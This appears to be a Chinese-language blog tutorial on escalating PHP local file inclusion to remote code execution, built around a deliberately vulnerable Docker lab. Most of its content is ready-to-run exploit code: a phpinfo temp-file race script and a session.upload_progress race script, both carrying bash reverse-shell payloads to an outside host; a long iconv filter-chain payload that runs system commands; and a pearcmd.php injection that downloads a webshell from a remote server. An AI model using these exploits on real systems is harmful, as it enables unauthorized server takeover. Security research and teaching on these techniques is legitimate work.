蛤,都 2022 年了,還有人不知道 LFI 基本上就 = RCE ㄇ?
還有人 LFI 只會寫 log、努力找上傳檔案的點再來 Include ㄇ?覺得 LFI 就只能 Base64 看看源碼ㄇ?
這篇文整理了一下最近幾年來比較實用的一些 LFI 技巧,透過無腦的貼 POC 就可以快速的 Get Shell。以下我使用 PHP 8.1 apache 做為實驗環境,測試了幾種常見的 RFI to RCE 技巧,理論上在大多數的 PHP 7 底下,預設環境中,不用修改任何的 config 都可以適用。
Environment Setup
docker-compose.yml
version: "3.7"
services:
webserver:
image: php:8.1-apache
volumes:
- ./web:/var/www/html
web/index.php
<?php
include($_GET["f"]);
web/demo.php
<?php
echo "Hello!!";
// This is secret!!
web/add_php.php
<?php
include("/var/www/html/" . $_GET["f"] . ".php");
Basic LFI
正常功能
想要達成正常的引入功能,通常會像這樣
curl '127.0.0.1:7788/?f=demo.php'
Hello!!
基礎 LFI
如果我們想要讀到 demo.php
中的原始碼,可以使用 base64 的偽協議方法。
curl -s -G 'http://127.0.0.1:7788' --data-urlencode 'f=php://filter/read=convert.base64-encode/resource=demo.php' | base64 -d
<?php
echo "Hello!!";
// This is secret!!
備註: -s
讓 curl 不要噴出一些垃圾; -G
使用 GET 參數
直覺上來說,傳統的解法都會是要設法找一個位子來寫 webshell,例如 log 或 session 檔案等方式、或是找到上傳檔案的功能再來 include ,但事實上,在現代常見的情境中,這種狀況已經不太可能發生了,因為預設的權限都是沒有開啟的。
PHPinfo to RCE
假設遠端的 Server 剛好有 phpinfo 檔案,我們就有辦法透過引入它來達成 RCE
<?php
phpinfo();
實驗 PHP 暫存檔
PHP 有一個特性,無論有沒有上傳的邏輯功能,只要上傳檔案,就會被 PHP 暫時存放在 /tmp
並命名為 phpxxxx
可以做一個很簡單的實驗
import requests
url = "http://127.0.0.1:7788/phpinfo.php"
while True:
res = requests.post(url, files={'file':'meow'*0xffff})
進入 docker 裡面打 watch -n 0.1 ls /tmp
就可以發現他一直噴出檔案,又被刪除掉。
如果我們手速夠快的話,去看 PHP info,就會看到下面的畫面
上面會記載 php 暫存檔案的路徑,當然,裡面的值就是我們上傳的東西,如果他是 webshell 或 reverse shell 的話,我們手速夠快的引入,就可以達到 LFI 了。
但需要注意的點是,如果等整個 PHP info 都 load 完,大多數時候檔案就已經被刪掉了,所以我們要用 socket 來接,一收到字串,甚至還沒等 response 完全跑完就去 include,這樣的成功機率才會比較高。
PoC
這邊的 Exploit 我套用了 kingkk 的檔案,做了些微的修改,由於 race condition 的緣故,所以每一次跑的時間跟次數都不一定,我自己在本地測試大概是 1000 ~ 10000 次都有。
import socket
import sys
tag = 'meowmeow'
host = '127.0.0.1'
port = '7788'
attempts = 50000
PHPinfo_File = "/phpinfo.php" # 保留最前面的 /
LFI_File = "/index.php?f=" # 保留最前面的 /
shell_host = "172.22.0.1"
shell_port = 443
PAYLOAD = '''{tag}<?php system("bash -c 'bash -i >& /dev/tcp/{shell_host}/{shell_port} 0>&1'"); ?>'''.format(tag=tag,shell_host=shell_host,shell_port=shell_port)
UPLOAD="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
{}
-----------------------------7dbff1ded0714--\r""".format(PAYLOAD)
padding="A" * 5000
## PHPinfo path
INFOREQ="""POST {phpinfo}?a={padding} HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie={padding}\r
HTTP_ACCEPT: {padding}\r
HTTP_USER_AGENT: {padding}\r
HTTP_ACCEPT_LANGUAGE: {padding}\r
HTTP_PRAGMA: {padding}\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: {len}\r
Host: %s\r
\r
{upload}""".format(phpinfo=PHPinfo_File,padding=padding, len=len(UPLOAD), upload=UPLOAD)
# LFI Path
LFIREQ="GET " + LFI_File + """%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
class PHPINFO_LFI():
def __init__(self, host, port):
self.host = host
self.port = int(port)
self.req_payload= (INFOREQ % self.host).encode('utf-8')
self.lfireq = LFIREQ
self.offset = self.get_offfset()
def get_offfset(self):
'''
获取tmp名字的offset
'''
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.host, self.port))
s.send(self.req_payload)
page = b""
while True:
i = s.recv(4096)
page+=i
if i == "":
break
if i.decode('utf8').endswith("0\r\n\r\n"):
break
s.close()
pos = page.decode('utf8').find("[tmp_name] => ")
print('get the offset :{} '.format(pos))
if pos == -1:
raise ValueError("No php tmp_name in phpinfo output")
return pos+256 #多加一些字节
def phpinfo_lfi(self):
'''
同时发送phpinfo请求与lfi请求
'''
phpinfo = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
lfi = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phpinfo.connect((self.host, self.port))
lfi.connect((self.host, self.port))
phpinfo.send(self.req_payload)
infopage = b""
while len(infopage) < self.offset:
infopage += phpinfo.recv(self.offset)
pos = infopage.decode('utf8').index("[tmp_name] => ")
tmpname = infopage[pos+17:pos+31]
lfireq = self.lfireq % (tmpname.decode('utf8'),self.host)
lfi.send(lfireq.encode('utf8'))
fipage = lfi.recv(4096)
phpinfo.close()
lfi.close()
if fipage.decode('utf8').find(tag) != -1:
return tmpname
if __name__ == '__main__':
print('{x}Start expolit {host}:{port} {attempts} times{x}'.format(x='*'*15, host=host, port=port, attempts=attempts))
p = PHPINFO_LFI(host,port)
for i in range(int(attempts)):
print('Trying {}/{} times…'.format(i, attempts), end="\r")
if p.phpinfo_lfi() is not None:
print("Success!!")
exit()
print(':( Failed')
Session Upload Progress
session.upload_progress
Session Upload Progress 是目前我最愛用的方法,沒有之一。
它不像是前面必須要存在一個 phpinfo , 任何的預設環境下,它都可以直接使用並輕鬆 Get Shell。
這是一個完全沒有調整過的 PHP info 預設值。
session.upload_progress
是 PHP 5.4 以後就有的,預設環境下,session.upload_progress.enabled
會是 on,這個功能的發明主要是用來紀錄上傳狀態,例如說有辦法透過這個功能來取得上傳進度條等的功能。
它的規則是,如果 POST 一坨東西,其中有一個 key 叫做 session.upload_progress.name
中的值,也就是預設 PHP_SESSION_UPLOAD_PROGRESS
,而 value 是自訂的內容,此時,PHP會自動在
Session 中建立一個 session.upload_progress.prefix
與我們 post 的 session.upload_progress.name
串接的結果。
我相信上面絕對不會有人知道我在公三小 = =,就用一個簡單的例子吧,預設 session.upload_progress.name
就是 PHP_SESSION_UPLOAD_PROGRESS
;預設 session.upload_progress.prefix
就是 upload_progress_
。 如果我們 POST 了一個資料 PHP_SESSION_UPLOAD_PROGRESS=meowmeow
,則我們會在 Session 中找到一組 key 為 upload_progress_meowmeow
的內容,裡面就有 bytes_processed
、content_length
之類的東西可以使用。
PHP 預設會把 Session 寫在以下三個目錄的其中之一,比較新的環境底下大多數都在 /tmp
,我個人通常會選擇直接瞎猜,失敗了就換一個這樣。
/var/lib/php/sessions/sess_{sess_id}
/var/lib/php/session/sess_{sess_id}
/tmp/sess_{sess_id}
而這個 Session 檔案的檔名,就會是我們的 Session ID,PHP 的另外一個特性是,如果我們的伺服器根本沒有用到 Session,但是我們手動亂填一個 Session ID 在餅乾,如果伺服器對這個餅乾進行存取或寫入的話,它也會自動的在存 session 的目錄中創一個 Session 檔案,而且是我們自己的 ID 名稱。
Session 檔案內部的結構會是一個 PHP 的反序列化資料,因此直接 strings 是可以存取到裡面的 string 的,因此透過 php 的文件解析特性,前後有垃圾都沒關係,我們只要有辦法好好的把 <?php {CODE} ?>
給包進去就好惹。
因此,我們有辦法自己控制 Session 的檔案名稱、也可以控制一部分的 session 檔案內容,也就是 POST PHP_SESSION_UPLOAD_PROGRESS
,在裡面寫 php shell code。
PoC
與前面的 PHPinfo 打法一樣,這是一個處理上傳用的 function,因此當檔案上傳完畢後,這些東西就都會被刪掉了,我們可以透過同時開兩個 thread 來構成 race condition 來 get shell,這邊的 code 我是參考 splitline 提供給我的,目前的 LFI 情境底下,基本上可以百發百中。
import grequests
sess_name = 'meowmeow'
# sess_path = f'/var/lib/php/sessions/sess_{sess_name}'
# sess_path = f'/var/lib/php/session/sess_{sess_name}'
sess_path = f'/tmp/sess_{sess_name}'
base_url = 'http://127.0.0.1:7788/index.php'
param = "f"
# code = "file_put_contents('/tmp/shell.php','<?php system($_GET[a])');"
code = '''system("bash -c 'bash -i >& /dev/tcp/172.23.0.1/443 0>&1'");'''
while True:
req = [grequests.post(base_url,
files={'f': "A"*0xffff},
data={'PHP_SESSION_UPLOAD_PROGRESS': f"pwned:<?php {code} ?>"},
cookies={'PHPSESSID': sess_name}),
grequests.get(f"{base_url}?{param}={sess_path}")]
result = grequests.map(req)
if "pwned" in result[1].text:
print(result[1].text)
break
PHP iconv
邪教的簡介
這是一個超級噁心的方法,只要我們能透過 LFI 讀到任何一個檔案,而且可以操控 filter 的話,我們就能透過 filter 構造出任意的 Payload。
首先,我們需要知道,任何的 string 如果通過了 convert.iconv.UTF8.CSISO2022KR
一定會在最前頭噴出 \x1b$)C
(1b 24 29 43
)。
舉例來說
curl 'http://127.0.0.1:7788/?f=php://filter/convert.iconv.UTF8.CSISO2022KR/resource=/etc/passwd' -s | xxd -l 4
00000000: 1b24 2943 .$)C
curl 'http://127.0.0.1:7788/?f=php://filter/convert.iconv.UTF8.CSISO2022KR/resource=/etc/hosts' -s | xxd -l 4
00000000: 1b24 2943 .$)C
curl 'http://127.0.0.1:7788/?f=php://filter/convert.iconv.UTF8.CSISO2022KR/resource=/var/www/html/index.php' -s | xxd -l 4
00000000: 1b24 2943 .$)C
第二個需要知道的是, convert.base64-decode
是一個非常寬鬆的東西,如果輸入不是合法的 base64 字串,它就會直接忽略。
意思就是說,如果我們把 1b24 2943
(\x1b$)C
) 交給 base64 decode,再用 base64 encode,它的開頭會只剩下 C
,而後面接的東西會是我們的原始的字串。
curl 'http://127.0.0.1:7788/?f=php://filter/convert.iconv.UTF8.CSISO2022KR/convert.base64-decode/convert.base64-encode/resource=/etc/passwd' -s | xxd
00000000: 4372 6f6f Croo
而持續的串不同的 filter,除了 /
之外,我們也可以用 |
功能是完全一樣的。
curl 'http://127.0.0.1:7788/?f=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=/etc/passwd' -s | xxd -l 4
00000000: 4372 6f6f Croo
知道上面的概念可以湊出一個 C
之後,就可以開始來搞事了。
如果輸入以下內容,我們可以獲得一個 h
php://filter/convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7
以下可以得到一個 i
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode
但要注意順序解析,所以我們要把字串給反過來串,所以我們如果需要有 hi
的話,反過來會變成
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7/resource=/etc/passwd
curl 'http://127.0.0.1:7788/?f=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7/resource=/etc/passwd' -s | xxd -l 2
00000000: 6869 hi
到此為止,我們只需要找到所有的 base64 排列組合,湊一個 webshell 並轉成 base64 的狀態,用上面的噁心方法來湊出所有的字元,最終送去給 convert.base64-encode
,我們就能拿到 Webshell 了。
PoC
wupco 大神的 repo 也就這樣誕生了 PHP_INCLUDE_TO_SHELL_CHAR_DICT,因為不同 server 支援的 filter 可能會有差異,所以 fuzzer 可能要自己跑來湊上面的字母排列組合。
以上述的範例環境來看的話,預設 payload 即可直接使用,拿到 webshell, Payload 如下。
curl 'http://127.0.0.1:7788/?f=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CN.ISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd&1=system(%22whoami%22);'
'
理論上這招跟 session upload progress 類似,可以套用在所有 lfi 的情境中,只需要能控制 include 最前面的字段,只是 payload 真的有點噁心就是了。
Pear 🍐
梨子簡介
最後一個也是一件很常見的情境,我們把原本的 index.php 增加一點點限制,變成 add_php.php
。
<?php
include("/var/www/html/" . $_GET["f"] . ".php");
看起來上面的方法都不能用了 QQ, Filter 需要最前面可以被我們控制, session upload progress 需要能夠控制完整的檔名 (PHP 不允許 Session 值裡面有 .
)。
這時候,又有噁心的解法ㄌ = =。
在 php 的 docker 裡面預設都會有安裝 pear,也就是一個 PHP 的套件管理軟體,它有兩種訪問方式,
分別是使用訪問 pear
或是 pearcmd.php
pearcmd.php
預設大多數在下面兩個路徑其中之一
/usr/local/lib/php/pearcmd.php
/usr/share/pear/pearcmd.php
它有安裝套件以及下載的功能,假設我們在本機端 (172.23.0.1
) 準備一個 web shell 並架起來
echo '<?php system($_GET[A]); ?>' > s.php
python3 -m http.server
我們在 php 的 docker 內輸入
php /usr/local/lib/php/pearcmd.php install -R /tmp http://172.23.0.1:8000/s.php
會得到以下的結果
downloading s.php ...
Starting to download s.php (27 bytes)
....done: 27 bytes
Could not get contents of package "/tmp/tmp/pear/download/s.php". Invalid tgz file.
Download of "http://172.23.0.1:8000/s.php" succeeded, but it is not a valid package archive
Invalid or missing remote package file
install failed
它會自動的幫我們下載檔案到 /tmp/tmp/pear/download/s.php
,接下來我們只需要 include 它就好。
那在 Web 上面,要怎麼用 LFI 來戳這個呢?
PHP 預設 arguments
PHP 的 Docker 底下,預設狀態下,register_argc_argv
是 on 的
我們可以用以下程式碼來測試 PHP 的 argv 值
<?php
var_dump($_SERVER['argv']);
然而在 PHP 中,參數的 argv 是透過 +
號來分隔的,如以下範例所示。
http://127.0.0.1:7788/test.php?aaa+bbb
array(2) { [0]=> string(3) "aaa" [1]=> string(3) "bbb" }
如果我們要在網頁上辦到上面 cmd 上做到的事情,我們需要準備 4 段的 argv
install
-R
/tmp
http://172.23.0.1:8000/s.php
為了避免干擾,我們在第一個 get 參數 (f
)後面增加一個 GET 參數分隔符號 &
,並且用 PHP 的 argv 分隔符號 +
進行分隔,我們就能操縱到 pearcmd.php
了!
PoC
範例 Code 如下
http://127.0.0.1:7788/add_php.php?f=../../../../../../../usr/local/lib/php/pearcmd&+install+-R+/tmp+http://172.23.0.1:8000/s.php
Python 的 HTTP Server 可以順利接到 GET 的 Request,而我們的 Shell 也已經好好的被放在 /tmp/tmp/pear/download/s.php
中了
接下來只需要用正常的方法 include 進去,就能 Get Shell 了 !!
http://127.0.0.1:7788/add_php.php?f=../../../../../../../tmp/tmp/pear/download/s&A=whoami
Conclusion
PHP 有夠噁心 = =
Reference
https://hackmd.io/@ginoah/phpInclude
https://lonmar.cn/2021/07/06/PHP-session-upload-progress/
https://www.kingkk.com/2018/07/phpinfo-with-LFI/
https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
https://blog.csdn.net/rfrder/article/details/121042290